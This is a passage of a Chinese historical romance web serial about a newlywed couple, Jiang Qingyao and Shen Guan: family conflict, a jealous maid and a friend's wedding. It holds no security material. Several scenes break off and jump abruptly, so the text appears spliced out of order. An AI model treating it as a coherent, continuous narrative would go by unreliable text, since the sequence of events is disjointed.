沈观从浴室出来,走到床边,见被子下轻微隆起,枕上却只露出半个墨色小脑袋,不由得哑然失笑,俯身,长指拨开被褥,露出姜清杳一张憋红了的娇靥,“顽皮,小心窒着了。” 姜清杳抬眸,一双水汪汪的鹿眸对上他清冷的凤目,四目相对间,气氛刹时暧昧。 姜清杳慌乱地撇开眼,颤声:“夫君、熄灯罢。” 沈观知她害羞,微微一笑,起身熄了近处所有的烛火,只留下远处的两盏夜灯,在黑暗中散发昏朦的橙光。 室内很快昏蒙一片,姜清杳直直平躺在被子里,双手交叠,抚在自己心口,因紧张而剧烈跳动的心脏,令她有些呼吸困难。 床幔被人放下,忽的,床榻下沉,沈观躺了下来。 姜清杳瞬间怔住,像木雕一样,僵硬着被沈观揽进怀中。 男子温热的呼吸喷洒在姜清杳颈侧,她呆呆地一动不敢动,双手抵在胸前,隔开两人贴近的身体。 沈观未有其他的动作,只是抱着她,缓缓轻拍她的后背,一下下安抚她的羞涩与惶恐。 姜清杳在他的安抚下,渐渐放软了身子,左手也浅浅搭到他腰间。 如此过了良久,姜清杳听着他渐趋平缓的呼吸声,心下发懵,双眸在昏暗中眨了眨,他、怎么不动了? 出嫁前,姜清杳也曾私下问过堂姐,成亲是怎么回事儿。 可堂姐却只隐晦地说:睡了一觉后,什么都不一样了。 这仿佛天地变色一般的话语,让姜清杳百思不解,她和沈观已经睡了两个晚上了,可好像也没什么变化啊,她还是很怕他。 新婚第一夜,他只在自己额间亲了一下,就说睡觉。 第二夜好了一些,他牵了自己的手。 现在是第三晚,他抱着自己睡,这算不算是一种进步? 姜清杳胡乱想着,却不知自己的长睫像扇子一样,一下一下刷在沈观颈子上,使他心痒。 沈观无声叹息,温声:“娘子,快睡吧……” 姜清杳小脸埋在他颈间,糯糯地喊他:“夫君……” 暗夜里,沈观深吸一口气,倏忽垂首,薄唇便捉住她柔软的唇珠。 姜清杳心尖剧颤,脑袋瞬间空白,连呼吸都窒住了。 片刻后,沈观身体后撤,继续拥着姜清杳,一如既往地轻抚她后背。 只有稍微沉重的喘息声,泄露些许心思。 姜清杳不明所以,双手抵在他胸膛,迷朦唤他:“夫君?” “乖一些,睡觉!”沈观嗓音暗哑,大掌拢住姜清杳的小脑袋按在自己胸前。 姜清杳心跳如鼓,砰砰地撞击胸膛。她害羞又心慌,到底不敢再做什么,内室里忽的沉静下来,只有两人的心跳声,长久怦然,又渐渐趋于平静。 半夜里,姜清杳被疼醒,迷迷糊糊睁眼,便感觉身下涌出一阵熟悉的湿黏。 姜清杳有些懵怔,新婚第三日,她便来了癸水…… 沈观一向考虑的很周全。她只把一些要带去京城的东西收拾出来就好了。 翌日姜清杳起了个早。 回了姜府,先是把姜忠元叮嘱过要带的东西让侍女整理出来,装在一个大箱匣里。沈观一直在旁陪着,不怎么说话,只听姜清杳的吩咐做事。 小伍在一旁偷偷看着,觉得自家公子如果转行当侍卫,应该也能干得不错,话不多活干的还好。 姜清杳把姜忠元的院子,屋子和书房还有堂屋都看过一遍,又让人单独拿了一个精致的装箱,把姜忠元格外叮嘱过他那套宝贝的不得了的紫砂茶壶单独装起来,以免磕碰了。 整理完这些,已经好几个大箱子了。 小伍联系了抚阳的镖局,请了车队在外面等着护送。都是些侍女,搬不动这些。小伍便和几个小厮一起合力搬出去,沈观出去和镖局的人叮嘱一些事。 几个姜府的侍女见他们走了,才对着姜清杳说:“小姐,我一直觉得姑爷眼熟呢,好像以前总在哪儿见过。” 80-90 第 81 章 3500营养液加更 小伍他们把姜忠元院子里的几个大箱子搬完,姜清杳往自己的院子走,她的院子里也有一些要收拾的东西,但好在不多,之前去京城的时候已经带走许多,只剩下姜清杳格外喜欢的精巧摆件之类的。 “是吗?”少女一边走,几个侍女在身后跟着叽叽喳喳。 “对啊。好早之前,姑爷年节第一次来的时候,我们就觉着眼熟呢。” 几个侍女你推我攘的,挠着脑袋:“但是这一时半会儿想不起来。” 姜清杳一人敲了一个脑瓜子。 “他就住在隔壁,你们有时候见过不也很正常,阿圆那几个小丫头每回出府采买,回来都和我说撞见沈观下学了。” 姜清杳觉得很正常,也并不太好奇。 因为她成婚前虽没见过沈观,但总听院子里几个小丫头各种念叨,一来二去的,也听了不少。 “荒唐!你竟拿仕途威胁双亲!” 书房里,沈政冷着脸,啪一下把折子甩到长案上。 沈观才从外头进来,面上还残留冰寒冷气,见自己父亲发怒,他敛目而立,并不做声。 沈政瞧他一脸无畏,心中又气又拿他没有办法,只得压了压火气,道:“你为这一点小事辞官,可对得起家族培育你二十余载。” 沈观缓步走到靠窗的长案前,捡起折子,凑着烛光看了看,而后就着烛火点燃折子,蹿动燃烧的火焰,映照出他皎皎玉面,俊逸非凡。 “因着大哥,母亲要我考取功名,我便日夜苦读,要我人才出众,我便成为翩翩探花郎。千百件的事,我都为她做了,但唯独这一样,不行!”沈观语气平静,却教人听出他内心中不容置喙的决心。 书房里焦烟弥漫,沈政望着这个引以为傲的儿子,颇为头疼。 折子上橘红的火焰即将燃到指边,沈观神色淡漠,松手,任其落到地上。 父子俩的目光同时落在灰烟上,沈政还是心有余悸,心中那点气怒也没消散。 “你说,若我没拦下这折子,陛下准了你辞官,你该当如何。”沈政看过折子,其上措辞恳切,是真的要辞官。 沈观轻嗤,眸光幽远定在虚空,淡淡道:“外头多少人想寻我的错处,而今内宅这样闹下去,我这仕途能走多远?还不如趁早辞官了事!” 沈政原是责问,这会儿竟被他堵得哑口无言。 沉默片刻,沈观朝沈政躬身一礼,“儿子告退。” 等沈观走后,沈政踱步往屏风后面去,只见太师椅上的李氏已然泪流满面。 沈政叹气,到底是几十年夫妻,终究没再责备她,“就是为着儿子,你也该对她好些,未来沈观主掌沈家,她就是当家主母,你如此待她,让下面的人怎么瞧?再说,也不是她上赶着嫁来咱们家,反而是……” 自己儿子是怎样的人,沈政再清楚不过,表面看似温润清雅,实则内心薄凉。 当初落水一事,他就不信是个意外,若他不想救人,谁人能逼迫了他去? 况且那日又不是休沐,他缘何偏偏跑去游湖,又恰恰好救了人。 沈政耐着性子指点自己夫人,李氏略一思量,掩唇惊呼,“你是说,儿子他是有意……” 沈政瞪眼,挥手打断这蠢妇,知道就知道了,说出来做什么! “想当初,儿媳是定了婚的,嫁妆都备好了,不日即将启程去扬州。儿子如此行事,是巧取豪夺,毁人姻缘。若此事被政敌得知,那他的仕途就真的完了。” 说到此,沈政告诫道:“这事,你定要守口如瓶!” 李氏虽然不想承认,但听自己夫君这么一分析,已然肯定了落水之事并不简单。 翌日早晨,姜清杳终于如愿侍候沈观更衣用早膳。 青色观锦常服柔软轻盈,姜清杳掂起脚,纤白玉手抚平他圆领上的褶皱。 沈观垂眸望着她极为认真的小模样,唇角莫名上扬。 穿好衣裳后,姜清杳手拿革带,柔声说:“展臂。” 沈观便听话地张开双臂,姜清杳倾身,双手虚虚环上他腰间,指间交错,革带便绕了一圈,回到身前。 可这要如何扣上?姜清杳犯了难,她垂首细看,带尾穿过扣眼,然后呢? 姜清杳越凑越近,呼吸间,全是他身上好闻的冷竹气息。然而越系不好,姜清杳就越心急。 直到一声轻笑在头顶响起,姜清杳忙乱的手指一顿,脸上蓦地变红,一抬首,才发现自己几乎贴到他身上。 姜清杳在他含笑的眸光下,窘迫得想逃,又羞又急,眼尾刹时被憋红。 她这样子,实在娇羞,沈观不忍再逗她,在姜清杳即将后撤时,攥住她的手腕,长指领着她的玉手,细致教她。 “可记住了?” 沈观声音低低的,呼吸洒在姜清杳颊侧,惹得她脸颊痒痒,一扭头,红唇擦过他微凉的下颌。 姜清杳身子一震,唇上酥麻灼热,一抬眸,便撞进他幽暗黑眸中,他眼中的自己娇羞妩媚,是自己从未见过的模样。 心跳又乱了,姜清杳慌张别过身子,颤声:“夫、君,用早膳吧……” 沈观抿唇一笑,任她领着自己到外间桌边。 沈家的早膳也精致异常,单羹粥,就有六种之多,更别提各色点心,一碟一碟摆了满桌。 姜清杳本想站着侍奉沈观用膳,却被他一个清冷冷的眼神探来,便乖觉地坐到他身旁。 用过早膳后,天色还未大亮,沈观披上大氅,回身对姜清杳道:“说好的事你可别忘了。” 姜清杳知道他指的是不去华阳居,昨夜他从书房回来,便告诉她辞官折子收回来了。 才嫁过来五日,她便不去给婆母问安,到底说不过去。 但想到沈观为着她的心意,姜清杳又感觉心间甜丝丝的,现在他又耳提面命,姜清杳心下感动,便郑重答应他:“我知道了。” 沈观眸光浅浅,定在姜清杳不施脂粉的雪白娇靥上,“中午可要我回来陪你用膳?” 翰林院在中午时,有半个时辰的用膳时间,一直以来他中午都不曾回府的,但现下,他心中记挂,就问了出来。 姜清杳怕累他来回奔波,况且冬日里这样冷,忙摇手拒绝,“不用,我听你的话,安心在我们院子里等你回来。” 沈观这才满意,微微弯腰,从婢女高高挑的帘子下跨出屋子。 姜清杳也披了大氅跟出去,低声说:“我送你。” 却在廊前被沈观拦下,“回去歇着,外头下着雪呢。” 姜清杳抬眸望出去,天地拢在昏蒙中,就连那雪花,远远瞧着也是灰蒙蒙的。 姜清杳怕他耽误时辰,便没与他争辩,只站在廊前,看他撑着伞,在簌簌的落雪声中,越行越远。 沈观走路不喜回头,但一想到姜清杳就在身后,便耐不住在转角处回身看她,隔着絮絮飘雪,她还站在廊下远远目送,看到他回头,便惊喜地笑着朝他挥手。 沈观心尖蓦地一软,唇角不自觉上扬,这是他,好不容易娶进门的妻…… 今日,姜清杳总算能好好歇着了,连带晴天和小雨都放松下来。 两人不知昨夜到底发生了何事,站在院子里时,只远远听见夫人说什么书啊,狗肚子的…… “小姐,到底怎么回事呀?今日真不去夫人那边了?”小雨凑到姜清杳面前,好奇问道。 姜清杳正跪坐在靠窗边的软炕上描花样,听见问话,停下手来,她以为经过一夜,这事在府中都传遍了呢。 看来,世家规矩,的确缜密严谨。 想来也是,为着内宅家事辞官,传出去毕竟不好听。 于是姜清杳便只说:“不去了,昨夜公子和夫人都讲清楚了。” 小雨还想细问,被晴天暗中扯了扯衣袖,给止住了。 自从她们小姐嫁入沈家,一切都不和以往不一样了,这一点,晴天很清楚。 一时间,内室安静下来,姜清杳继续描花样,一排修竹跃然纸上,她想绣在夫君衣襟边。 晴天和小雨坐在下首软凳上,两人手上飞快穿梭,在打络子,因着成亲,姜清杳新做了许多衣裳,络子也要与衣裳颜色相配才行。 三人正各自做着活儿,杏子便端着药进来了。 “少夫人,药好了。” 闻言,姜清杳抬首望着那碗墨色汤药,眉梢紧蹙,唔,闻着都苦。 晴天起身拿来蜜制杨梅,道:“喝了赶紧吃梅子,就不苦了。” 姜清杳认命般接过药碗,闭着眼仰头咕嘟咕嘟喝下,晴天便赶紧捡颗梅子送到姜清杳嘴里。 “还有几天的药?”姜清杳嘴里含着梅子,目光看向杏子。 “还有三日。” 姜清杳叹息一声,依旧低头继续描花样。 杏子瞧这少夫人跟个孩子似的,喝药还怕苦,心中便偷偷一乐。将碗递给小丫头,杏子也搬来软凳与晴天她们一起打络子。 大家做着活儿,都不言语,小雨便觉着没滋味,眼珠一转,便道:“杏子,怎么一早上都没见着银烛姐姐?可是病了?” 杏子与银烛同住一屋,知道她心中的小九九,无非见公子宠爱少夫人,正犯红眼病呢。 但到底是相处了五年的姐妹,杏子替她遮掩道:“昨日夜里她起夜,恐怕着了寒,早晨就说有些头疼。” 小雨哦了一声,又道:“你说,咱们公子真会取名儿,给银烛姐姐取了那样好听的名字。” 杏子手上一顿,抬头向姜清杳飞快扫去,见她手上不停,好似没听见她们说话一般。 其实当小雨这么一问,姜清杳的心便揪了起来,可一个婢女而已,若她太过关切,却是自降身份了。 “其实,银烛这个名字不是公子取的。”杏子顿了顿,又道:“有年七夕,她听见公子念了句什么诗,便自己改了这名儿。” 姜清杳忽的便想到那句:银烛秋光冷画屏,轻罗小扇扑流萤…… 晴天难得好奇,便问:“那以前公子叫她什么?” 杏子抬首,回想了一会儿,尔后道:“记得五年前,她来听竹院时穿着件红衣裳,公子便唤她小红。” 姜清杳心中一咯噔,这、也太敷衍了吧…… 哪儿就值当沈观还特地的上把锁呢。 姜清杳暗自腹诽,看了些桌案上的书册,还有些注解,确认沈观的确在这儿住过,且时日不短,衣柜里还有些旧衣裳。桌案上的笔架子上挂的狼毫笔也看着像是经常用的。 还有些颜料,朱砂、石绿、泥银……各式颜色一应俱全。 画? 姜清杳想起来,目光定在了角落里成对放置的画筒。 里面有不下几十卷的画卷。 第 82 章 第 82 章 姜清杳好奇心起,蹲到一旁,小心的将裙摆提起来,微微卷了衣袖,才拿了一卷画。 画放在匣筒里,筒口还用油纸包裹住,保存的很好,但这屋子许久没人来,匣筒上也积了一些灰。 沈观的画。 画里是什么呢? 姜清杳只犹豫了一秒,能不能擅自打开他的画,转念间素手便理直气壮的揭开了油纸。 哼。 他都这样偷看她了! 她看他几幅画不过分吧!“唔……” 姜清杳鹿眸圆睁,他的五官在面前放大,唇上酥麻又炙热,一瞬间心跳乱得不成样子。 她的双手抵在他胸口,推拒,却被他骨节分明的大手扣住后脑,禁锢得无法动弹。 被迫承受他绵绵长吻,姜清杳只能顺从的闭上眼,任他索取。 不知被他亲了多久,只听珠帘震颤,姜清杳瞬间惊醒,有婢女进来了。 “唔、唔……”她极力推拒,沈观才堪堪松开。 银烛进来换热茶,一眼就瞧见姜清杳坐在她们公子身上,两人紧紧贴在一起,姜清杳红着脸气喘吁吁。银烛眸色似刀,心中暗骂一声:狐媚子。 姜清杳满脸羞红,垂首伏在沈观胸口喘息,听见茶盏碰撞的声音,揪住他衣襟的手紧了紧,干脆扭头,把整张脸埋进他胸膛里。 沈观轻笑出声,惹来姜清杳捏拳捶他,这动作,又让沈观失声一笑。 珠帘又是一颤,银烛出去了。 沈观揽住她的软腰,低头呢喃,“人走了。” 姜清杳唇上热辣辣的,听到他说人走了,她也不想抬头,小脑袋他胸前挪了挪,依旧不肯露脸。 沈观唇角含笑,身子后仰,大掌捧住她脸颊,迫使她抬首。 却见她两靥潮红,樱唇水光潋滟,鹿眸半睁半闭,里头泪光荡漾,这模样,惹得沈观呼吸骤然一窒。 他俯身,又要吻上去,却被姜清杳偏头躲过,一声极轻的嘟囔响起:“疼……” 沈观眉梢微拢,低眸望去,樱唇红肿,可他却更想亲了。 姜清杳见他眸中蓄着火花,忙捂住嘴,从他腿上跳下来,快步跑到床塌边,一扑,整个人便埋进了锦绣堆中。 沈观不由得又是失笑,但到底不好再惹她,不然自己也没法收场,便坐直身体,缓缓调整呼吸,少顷,又提笔写折子。 夜里,当沈观再想吻姜清杳时,还没触到她,就听她哼唧一声:“还疼。” 沈观后撤,目光落在她嘟起的唇上,确实还有些肿,便无奈哼声:“娇气。” 话落,他揽过姜清杳,想就此睡去,可姜清杳这边,却眨着眼在等他回答呢。 “夫君,到底答不答应嘛。”姜清杳轻轻攀着他的肩,在他怀中吐气如兰。 沈观松开她一些,姜清杳却贴上来,惹得他心火炽盛,一翻身,把她压在身下。 “到底让不让亲?”沈观声音暗哑,呼吸喷洒在她脸侧。 姜清杳被他突如其来的举动吓得怔住,一瞬回神后,想到圆房和孩子,便大着胆子,仰头,轻轻吻在他唇上。 沈观眸光幽暗,长指抚上她的唇瓣,低声:“不是说疼?” 姜清杳被他这一问,羞得直想躲,心里又想捶他了,她都这么主动了,他怎么还纠缠这个问题? “疼、很疼!”姜清杳推开他,转过身面向床里侧,不理他。 沈观先是一愣,过了片刻,见姜清杳还是不理她,便半撑起身体探身去看她,见她双眸紧闭,贝齿咬唇,一副生气模样。 沈观勾唇浅笑,反而因她会对自己生气,而心中微喜。他长臂环住姜清杳,脑袋搁在她颈侧,呼吸浅浅与她相交。 “夫人,我错了。”沈观声音清浅,薄唇一点一点触着她的唇瓣。 姜清杳那一点点羞恼,便在他的吻下消融,只是经此一闹,她知道,今晚又别想圆房了。 有一点隐约的直觉,圆房这件事,就快了。 “你想去哪里都行,我不拘着你。”沈观又道。 得到满意回答,姜清杳在她怀中无声浅笑,转身拥住他,浅浅在他颊上印下一吻。 翌日,小雨和沈延出门送信,姜清杳本想在院子里等小雨回来,华阳居的婢女却来了。 “少夫人,三夫人的娘家妹妹来了,正在主院认亲,夫人说请您也过去瞧瞧。” 姜清杳便换了身衣裳,带上婢女,向华阳居而去。 临近腊月,今年又是朝觐考察的年份,各地方官沈沈续续进京。 沈家是绵延不歇的大族,亲朋故旧,在外为官者,不知几多。姜清杳想到,看来今年这个年节,沈家想必极为热闹,这才冬月里,就有姻亲上门了。 等姜清杳去到华阳居时,远远就听见说笑声。 小丫头在外报:“少夫人来了。” 姜清杳便从高高挑起门帘下跨过门槛,进到屋中。 盈盈笑语顿停,屋内女眷的目光齐齐向姜清杳看来。 却见姜清杳身穿茜色观纹长裙,外披素锦织缕银镶白狐毛大氅,观鬓珠钗,颤颤华光,一张凝脂花靥上,眉若远山,目若星辰,点樱似的娇唇微微含笑。 室内刹时有人发出短促的抽气声。 大夫人李氏高坐上首,唇角微扬,仿佛对那吸气声充耳不闻。其实她心中早已笑开,瞧瞧,又震撼了一批人。 姜清杳先向婆母李氏行礼“给母亲请安。” 而后向二夫人、三夫人行礼,“婶娘安好。” 又与三位嫂嫂、四位弟媳、四位妹妹们见过后。李氏才向姜清杳招手,“快过来。” 婢女相机来替姜清杳褪下大氅,姜清杳便轻移莲步,来到李氏身边。 李氏指向下首位置上坐着的妇人,道:“你来晚了,这是你周家姨妈。” 姜清杳打眼瞧去,这周姓姨母三十多岁,身后两侧站着一大一小两名少女,看模样打扮,便知是她两个女儿。 姜清杳柔顺行礼,喊道:“周姨妈。” 周姨妈哎呦一声笑道:“早就听闻咱们七哥儿娶妻了,想着必定是世间难得的标志人物,如今看到真人,才知世间果真有这天仙似的人物。” “姨妈说笑了,我哪有您说的这样好,您带来的这两位妹妹,才美得天仙似的呢。”花花轿子众人抬,她夸姜清杳,姜清杳也给她抬回去。 周姨妈频频颔首,“大嫂,还是您会挑媳妇,不仅人美,还嘴甜。” 这是顺道捧一捧大夫人李氏了,她这趟进京,是为着给自己儿子捐官,要靠沈家给她寻门路。 李氏颔首而笑,并不多言。 “青翎,语舒,还不来见过你们七嫂。”周姨妈朝身后说道。 那两人便分别走上前来,大的语舒,小的青翎。她们齐齐冲姜清杳柔声道:“见过七嫂。”方才的抽气声,便是这小一些的青翎发出的。 来听竹院禀报的小丫头,早告诉了周姨妈带了两名女儿来,这时她们向她见礼,姜清杳便从身后的晴天手中接过两个荷包。 “妹妹们来,嫂嫂仓促之间没有准备,便送你们几粒银锞子拿着玩。”说着,一人一个荷包递到两人手上。 两人恭敬接过,一掂份量,约有五两之多,便觉这位表嫂真大方,笑道:“谢过七嫂。” 都见过礼,说过话了,姜清杳便退到婆母李氏身旁,李氏让孙嬷嬷搬来椅子给姜清杳坐,可不敢再让她立规矩了。 姜清杳挺身而坐,听二夫人、三夫人她们与这位周姨妈谈天说笑。 一晃半日过去,今日应有客来,便摆膳在正房华阳居。 说来,沈家老太爷和老太太,身有旧疾,搬到了四季如春的昆弥居住,大房的五哥一家和四房一整房人,随同过去伺候。 而今沈家在京城里,便由大夫人李氏主理。谁人来了姻亲,都要先来拜会李氏。 席面开了三桌,夫人们一桌,姜清杳与嫂子弟媳们一桌,剩下一桌便是沈家未嫁的女儿和周姨妈带过来的两个女儿。 这时也不讲那许多食不言的规矩了,热热闹闹推杯换盏。 姜清杳不善饮酒,便只是稍稍抿一抿就放下。正吃着,便听外头丫鬟报:“公子来了。” 沈家不带排序,被单独被称作公子的,只有沈观。 此刻席间众人一愣,忙放下筷子,目光看向门帘处。 不多会儿,门帘撩开,却是进来一名婢女,她冲众人曲膝行礼,道:“公子是来寻少夫人的。” 这下,众人目光便转向姜清杳。 先时认亲,姜清杳被一屋子人瞧着,还没觉得怎样,这会儿竟有些羞,面上也漫上了红晕。 他不是在翰林院么?怎么回来了? 还未等姜清杳站起身,就听李氏道:“让他进来,姨妈远道而来,让他进来向姨妈见礼。” 沈观在外头听了,便抬步进了屋。他身量颀长,姿容如玉,一进来,便将众人的目光吸引过去。 周姨妈见过儿时的沈观,而今十来年没进京了,这会子乍见已然长成青年的男子,便觉时间易逝。 待沈观向周姨妈请过安,周姨妈又狠狠夸赞了大夫人教子有方,养出这么个探花郎来,捧得李氏极为舒坦。 周姨妈便叫语舒和青翎来见过表哥,两人却是看直了眼,她们才出闺阁,哪里见过像沈观这等容貌秀异的男子。直到听见周姨妈一声轻咳,才回过神来。 “见过表哥。”两人的声音柔了许多,也娇了许多。 沈观颔首,声线清冷,“表妹。” 如此都见过礼后,李氏便问:“可用过膳了?” 沈观答:“已在翰林院用过。” 李氏再问:“怎么回来了?”说着,也不等他答话,便用手一指姜清杳,“你媳妇在那,去吧。” 一时众人低笑,姜清杳红着脸起身,走到沈观身边。 待两人出来后,走了很远一段路,姜清杳脸上的红霞才褪去。 “你怎么回来了?”姜清杳侧身,仰头望向沈观。 沈观长眉入鬓,眸若幽潭,低头,望向姜清杳的视线专注且温柔,“我带你去个地方。”他轻声说。 少女气骂道,转头就要出去,推推门,才反应过来这门是锁着的。 她是从窗户进来,沈观也是。 这会儿怒气冲天的,还要在沈观的注视下,抬起腿来去爬窗吗? 姜清杳踌躇一瞬。 犹豫一秒,也不走了,转头来又指着沈观接着骂。 “大变态!” “你怎么能这样画我?!” 姜清杳边说,边睁圆了眼,看了一眼两个画筒中的另一个。 她刚才看的那些话都是从左边画筒里拿的。 唯独最后那一卷,是从右边画筒里拿的。 第 83 章 第 83 章 姜清杳目光凝住,上前几步,想看看右边画筒里的其它画。 才走了几步,沈观已经侧站在她面前,踌躇道:“清杳。” 少年不敢拦她,可又怕被她看到更多。 姜清杳不理他。 兀自又去拿画。 少女绷着脸,眉眼尽是恼怒,沈观不敢再说话,挨着姜清杳站着,姜清杳侧眸看他一眼,鼓着脸颊不高兴地往旁边站了点。 少年怔在那儿。 姜清杳没注意,蹲下去又揭了几卷右边画筒的画卷,果真和她想的一样。 连着晴了几日,昨夜里又飘起了细细扬扬的白雪。 姜清杳清晨与沈观出门时,便见屋顶地上,覆着一层薄薄的新雪。 轿子早在院里候着了,平日里沈观早晨去上值时,都是自己走到影壁,然后再乘马车去翰林院。今日姜清杳出门,又下着雪,他怕冻着她,便早早吩咐人抬了轿子来。 沈观先扶姜清杳上了轿,待粗使婆子们起轿,他便撑伞跟在轿子旁边走。轿子后面跟着晴天和杏子,她们两人随姜清杳一起去李家。 姜清杳挑开轿帘,探出一张莹白的小脸,一双鹿眸望向外头的沈观,“冷不冷?要不要把暖炉给你拿着?” 沈观摇头,他是男子哪有那样娇气了,便道:“我不冷,你快把帘子放下,小心冷风灌进去受了寒。” 姜清杳身上穿着鹅绒织锦棉袄,外头还罩着白狐毛大氅,出门时,他还特意让杏子给她拿了手炉,此刻她被烘得都有些热了。 姜清杳嫣然一笑,甜甜道:“我也不冷。” 沈观见她眉开眼笑的,便也跟着会心一笑,“这样高兴么?” 姜清杳小傲娇的扬扬下巴,声音清脆道:“那当然。” 此刻天色才熹微,小轿子晃晃悠悠,七转八弯在沈家穿行,待终于停了下来,姜清杳还没下轿,就听到一个女声唤道:“公子。” 姜清杳一愣,这是?银烛的声音? 正想着,又听见杏子说:“少夫人,到影壁了。”随即,轿帘被掀开。 沈观修长白净的手适时探到轿前,姜清杳便伸手搭在他臂上,扶着他出了轿子。 待姜清杳出轿一看,便见银烛跪在雪地里,手和脸都冻红了,身上脑袋上,也积着白雪。 银烛此刻也望见了姜清杳,她娇滴滴扶着公子的手臂从轿子里出来,依旧仙姿玉色,身上珠钗华服。两相对比,观泥之别。 而她心心念念的公子,正神色温柔的替她拢好衣襟,完全无视跪在雪中的自己。 一时间,银烛心中异常苦涩,她以前是有多愚不可及,竟敢肖想公子,竟觉得姜清杳一个小家女,不如她大家婢。 此刻望着身前这对璧人,银烛心中再没有那些妄想与鄙夷,她跪在雪中恭敬叩首,口中一遍遍哀求:“公子,求您救救我哥哥,求公子,救我哥哥,求您……” 姜清杳满脸震惊,她目光探向沈观,却见他神色自若,仿似此地没有银烛这个人一般。 银烛满脸是泪,膝行上前,试图抓住沈观的衣摆,却被沈延拦开,“公子,公子求您我哥哥……”她将脑袋磕得砰砰作响,不多时,额头已然磕破流血。 马车早就备好等在一边了,沈观自顾扶着姜清杳登车,而后在银烛的苦苦哀求声中,也进了马车里。他没有说一句话,一个字,就连目光都没有落在银烛身上,尽显薄凉。 沈延跟在沈观身边多年,揣测着公子心意,便道:“银烛已经不是府中的婢女了,谁放她进来的?”一句话吓得守门婆子屏息垂首。 “还愣着做什么,堵了嘴,拖出去。”沈延又道。 外头银烛的声音很快消失,马车也缓缓启程。 车厢里,姜清杳困惑地看向沈观,但见他面色如常,没有别的反应,便问:“她怎么了?” “我怎么知道。”沈观声音平淡,说着,伸手牵过姜清杳的小手拢在大掌里缓缓摩挲。 姜清杳便也闭嘴不言,银烛如何,都与她无关,况且她之前那样顶撞自己。只是她磕破的额头鲜血直流,让她心中有些不忍。 车厢里一时安静下来,良久后,沈观见姜清杳不做声,便问:“一会儿要我几时来接你?” 姜清杳现在也不能确定时候,便说:“等李姐姐出门,我便打发人去翰林院唤你。” 她说完,又有些担心,他本就忙,她却要求多多,一时便怕他抽不开身,犹豫了会儿,道:“你若忙得走不开身,打发沈延来接我也行。” “不忙。”沈观的声音温温雅雅,揽过姜清杳的肩,靠在自己怀中,“李家这会子定然人多,你自己注意些,别被挤到踩着了。” 姜清杳被他拥着,感受到他身上温热的气息,安下心来。 从进入李家的巷子起,姜清杳耳边便听到车子外面起伏的欢笑和各色贺语。 马车停在李家影壁,沈观先下了车,姜清杳坐在车厢里,听见他与李家人问候见礼。 隔着车帘,姜清杳听到一个女声道:“沈少夫人,奴婢是丹溪,我们小姐吩咐奴婢在影壁等您,让奴婢带您过去。” 丹溪姜清杳认识,是李相宜身边的贴身婢女。 于是姜清杳便道:“李姐姐想得周到,那就有劳丹溪姑娘了。” 沈观见这位李小姐特意谴了婢女来接姜清杳,便放心许多。嘱咐了杏子和晴天好生护着少夫人,又在外头隔着帘子与姜清杳交代一遍:“杳儿,一会儿我来接你,别担心,我今日不忙的,你好生别被人挤着了。” 姜清杳虽看不见他的脸,但听着他的殷殷叮嘱,心里便暖洋洋的,隔着车帘,说:“我知道了,也会注意人群的。” “嗯,去吧。” 沈观说完,马车便由婆子牵着驶向内仪门,姜清杳再在内仪门下车,换乘小轿,一路来到李相宜的院子。 姜清杳下轿子后,展目一看,但见院子里红绸高悬,地上摆满繁花。天上白雪纷扬,落在红稠上,一时间红与白对比强烈,反倒凸显得满院子的红绸益发喜庆。 闺房里亦是满目绸红,此刻挤满了来送嫁的亲朋好友,正热热闹闹说笑着。 李相宜坐在妆奁前,被人围了里三层外三层。 姜清杳望着这人挤人的场面,一时不知该如何过去。晴天和杏子两人一人一边,紧挨在姜清杳身边,深怕她被冲撞到了。 这时,却听丹溪冲人群里喊了声,“小姐,沈少夫人来了。” 过了片刻,就听见人群中李相宜惊喜的声音响起,“杳儿妹妹,快来快来。”她说着,推开妆娘的手,站起身来向外张望。 女眷齐齐转身向姜清杳这方望来,随即立马分开一条道来,姜清杳被这么多人看着,有些羞,紧了紧手,强作镇定地迈步向前走去。 “这位是……沈家那位探花郎的夫人?”人群中有人小声说话。 又有人答:“好像是,早听说她与相宜交好。” 姜清杳一路走来,频频与人微笑颔首,仅仅十几步路,她却感觉走了很久。 终于到了李相宜身边,李相宜欢喜地执起姜清杳的手,“杳儿妹妹,你来了。” 姜清杳喊了声:“李姐姐。”便笑着朝李相宜俏皮地挤挤眼睛,小声道:“好多人呐。” 李相宜知道她怕生怕人多,便牵着她的手坐下,“你哪儿也别去,就在我身边陪着我。” 妆娘见李相宜坐了下来,便继续上前来在她脸上涂抹。 李相宜闭目,任她们在脸上施为,一边对姜清杳说:“妹妹你帮我看着,别让她们画浓了,整得猴子屁股似的,难看死了!” 姜清杳噗嗤一笑,便说:“好,我帮你看着。”顿了会儿,她又问:“绞面痛不痛?” “自然是痛的!” 姜清杳又是一笑,“我当时也觉得很痛。” 李相宜笑出声来,牵住姜清杳的手始终不放。 待妆面完成,李相宜又去换上喜服,姜清杳望着她身上嫁衣如火,一时心中颇为感慨,想到与她在大觉寺半山亭的初遇,仿佛似在昨天。 “时间过得好快啊,仅仅几个月,我出嫁了,现在你也要嫁人了。”姜清杳感喟道。 李相宜牵着姜清杳的手,在软塌上坐下,对于姜清杳的感叹,她感触更深。 只见李相宜叹息一声,“终究不一样了。” 说着,又转过脸来,望着姜清杳,“杳儿,我们都要好好的。” 姜清杳想到,从七月到十一月,仅仅五个月里,她经历落水、退亲、定亲,最终嫁入沈家,一路走来,都有李相宜陪着,想到此,姜清杳便红了眼眶,用力点头,“嗯,我们都要好好的。” 李相宜轻轻拍着姜清杳的背,像一个长辈似的安抚着她,见姜清杳渐渐缓过那阵心酸,才附身过来,小声在姜清杳耳边问道:“他、对你可好?” 闺房里这样多的人,姜清杳有些羞于回答这个问题,她环顾四周,见无人特别注意她们这边,便小小声道:“他很好。”说着,又附到李相宜耳边,声若蚊蝇道:“我和他、前日才圆房。” 一时间,李相宜目瞪口呆,显然很是震惊,正要问为何,却见全福夫人来了,要来给她戴凤冠了。 姜清杳便捏捏她的手,小声道:“姐姐放心,我很好,下回我们见面,再细说。” 两人相视一笑,一种难以言语的情谊在两人心间流淌。 待李相宜戴上凤冠,穿上最后一层正红色绣龙凤的霞披,礼官正好在外头唱念:“吉时已到……” 姜清杳把一个红彤彤的苹果放到李相宜掌心,祝福道:“燕尔新婚,永浴爱河。” 李相宜双手捧着苹果,蓦地就红了眼圈,哽咽唤了声:“杳儿……” 姜清杳便如上次她安慰自己那样安慰她,“别哭,要做最美的新娘子。” 李相宜破颜一笑,姜清杳亦笑,不知不觉,她们都出嫁了…… 